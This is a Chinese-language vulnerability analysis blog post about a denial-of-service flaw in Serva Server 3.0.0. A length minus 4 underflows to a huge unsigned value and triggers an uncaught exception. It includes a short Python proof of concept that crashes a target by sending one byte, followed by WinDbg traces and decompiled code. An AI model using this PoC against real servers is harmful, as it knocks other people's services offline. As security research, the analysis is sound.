作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。
软件下载:
https://www.exploit-db.com/apps/ee00f393975d54945d5fa35207f4b7c4-Serva_Community_32_v3.0.0.zip
PoC:
import sys,socket
if len(sys.argv) < 3:
print '\nUsage: ' + sys.argv[0] + ' <target> <port>\n'
print 'Example: ' + sys.argv[0] + ' 172.19.0.214 80\n'
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((host, port))
s.settimeout(251)
s.send('z')
s.close
漏洞复现
Serva Server是一款轻便的简易服务器,在服务器处理字符串的时候,会有一个基本的长度判断,初步猜测起码要有开头的GET,在这个过程中,会有一个计算方法,令HTTP数据部分长度减4,这个过程没有对HTTP数据部分的长度进行控制,而是直接相减,导致数据长度会变成一个负数,然而判断的时候会将其作为一个正数判断,导致这个数变得很大,最后造成了异常调用异常函数,引发拒绝服务漏洞。下面对此漏洞进行详细分析。
首先,Windbg附加Serva,发送PoC,PoC里只有一个字符z,数据很短,Serva Server捕获到了崩溃。
0:009> g
(b44.91c): C++ EH exception - code e06d7363 (first chance)
(b44.91c): C++ EH exception - code e06d7363 (!!! second chance !!!)
eax=0197753c ebx=0197769c ecx=00000000 edx=00000003 esi=019775c4 edi=019776cc
eip=7c812aeb esp=01977538 ebp=0197758c iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
kernel32!RaiseException+0x52:
7c812aeb 5e pop esi
这里调用RaiseException,明显是一处异常处理函数。查看一下kb堆栈回溯。
0:009> kb
*** WARNING: Unable to verify checksum for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Documents and Settings\Administrator\桌面\Serva_Community_32_v3.0.0\Serva32.exe
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0197758c 004abaaf e06d7363 00000001 00000003 kernel32!RaiseException+0x52
019775c4 004cc909 019775e4 005e13e8 1dbf1f6d Serva32+0xabaaf
01977634 004085d3 00b8b178 0197769c ffffffff Serva32+0xcc909
01977648 004089a5 019776cc fffffffd 00000004 Serva32+0x85d3
01977678 00408f01 0197769c fffffffd 00000004 Serva32+0x89a5
离栈顶最近的几处调用都是异常处理部分,后面会说到,在4085d3位置的函数调用,会处理数据,并做一个比较。
if(*(DWORD *)(a1+20)< a3)
sub_4CC8D2();
当a1+20长度小于a3的时候,则判断不通过,会进入异常处理的函数部分,这个a1+20的长度就是源于接收数据的长度,在这个函数入口下断点跟踪,会两次命中。
0:007> p
eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fa99
eip=004085c4 esp=0175f9f4 ebp=0175fa00 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Serva32+0x85c4:
004085c4 8b7d08 mov edi,dword ptr [ebp+8] ss:0023:0175fa08=0175fba8
0:007> p
eax=00000000 ebx=00000001 ecx=00b8bcc8 edx=00000000 esi=00b8bcc8 edi=0175fba8
eip=004085c7 esp=0175f9f4 ebp=0175fa00 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Serva32+0x85c7:
004085c7 8bd9 mov ebx,ecx
0:007> dc edi
0175fba8 00000000 2e323931 2e383631 312e3532 ....192.168.25.1
0175fbb8 00003330 0000000e
第一次命中时edi包括的是IP地址,偏移+14h,也就是+20位置存放的是前面数据串的长度,这样会连续命中两次。第二次接收到的是一个z,第三次命中的时候,来看一下a3的值。
0:009> p
eax=00000000 ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288
eip=004085be esp=01947648 ebp=01947648 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Serva32+0x85be:
004085be 8b450c mov eax,dword ptr [ebp+0Ch] ss:0023:01947654=fffffffd
0:009> p
eax=fffffffd ebx=ffffffff ecx=0194769c edx=00000001 esi=0194769c edi=00b8b288
eip=004085c1 esp=01947648 ebp=01947648 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
Serva32+0x85c1:
004085c1 53 push ebx
a3的值是fffffffd,是一个负数,这个数作比较的时候会作为一个无符号数比较,这个数会变得非常大,导致了后面处理问题,那么这个数是从哪里来的呢。
向上层回溯的过程中,发现了这样一处调用。
signed int __stdcall sub_408EDC(char a1, int a2, int a3, int a4, int a5, int a6, int a7)
{
int v7; // eax@1
signed int v8; // edi@1
bool v9; // bl@1
char v11; // [sp+Ch] [bp-28h]@1
int v12; // [sp+30h] [bp-4h]@1
v12 = 0;
v7 = sub_408BAB(&a1, (int)&v11, a6 - 4, 4u);
在调用sub_408BAB函数的时候,会将a6-4作为一个size大小传入,这个过程会将数据长度-4,我们传送的数据是z,长度是1,这个过程会令长度变成一个负数。
0:009> p
eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408eef esp=0194768c ebp=019476c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Serva32+0x8eef:
00408eef 6a04 push 4
0:009> p
eax=00000001 ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408ef1 esp=01947688 ebp=019476c4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
Serva32+0x8ef1:
00408ef1 83c0fc add eax,0FFFFFFFCh
0:009> p
eax=fffffffd ebx=ffffffff ecx=00b8b288 edx=00000001 esi=00000000 edi=00b8b288
eip=00408ef4 esp=01947688 ebp=019476c4 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000282
Serva32+0x8ef4:
00408ef4 50 push eax
可以看到eax作为长度刚开始是1,第二步会令eax-4,随后eax的值为fffffffd,接下来进入处理。
int __thiscall sub_408BAB(void *this, int a2, unsigned int a3, rsize_t a4)
{
sub_408981(a2, (int)this, a3, a4, (int)&a2 + 3);
return a2;
}
这里a4的值是fffffffd,接下来传入后就会进入我们之前的判断,判断时,这个长度值会很大,判断肯定成立,进入错误处理。
void __noreturn sub_4CC8D2()
{
char v0; // [sp+Ch] [bp-50h]@1
char v1; // [sp+34h] [bp-28h]@1
int v2; // [sp+58h] [bp-4h]@1
std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>("invalid string position");
v2 = 0;
sub_408A9B(&v0, (int)&v1);
_CxxThrowException((int)&v0, &unk_5E13E8);
}
在错误处理中,调用CxxThrowException导致拒绝服务漏洞。此漏洞形成的原因,就是因为对数据包的长度没有进行校验,直接减4(可能程序猿默认传入HTTP的数据包最少也是包含GET部分的数据的),此时如果长度是一个小于4的数,变成了负数,导致rsize_t作为无符号数判断时是一个很大的值,最后引发拒绝服务漏洞。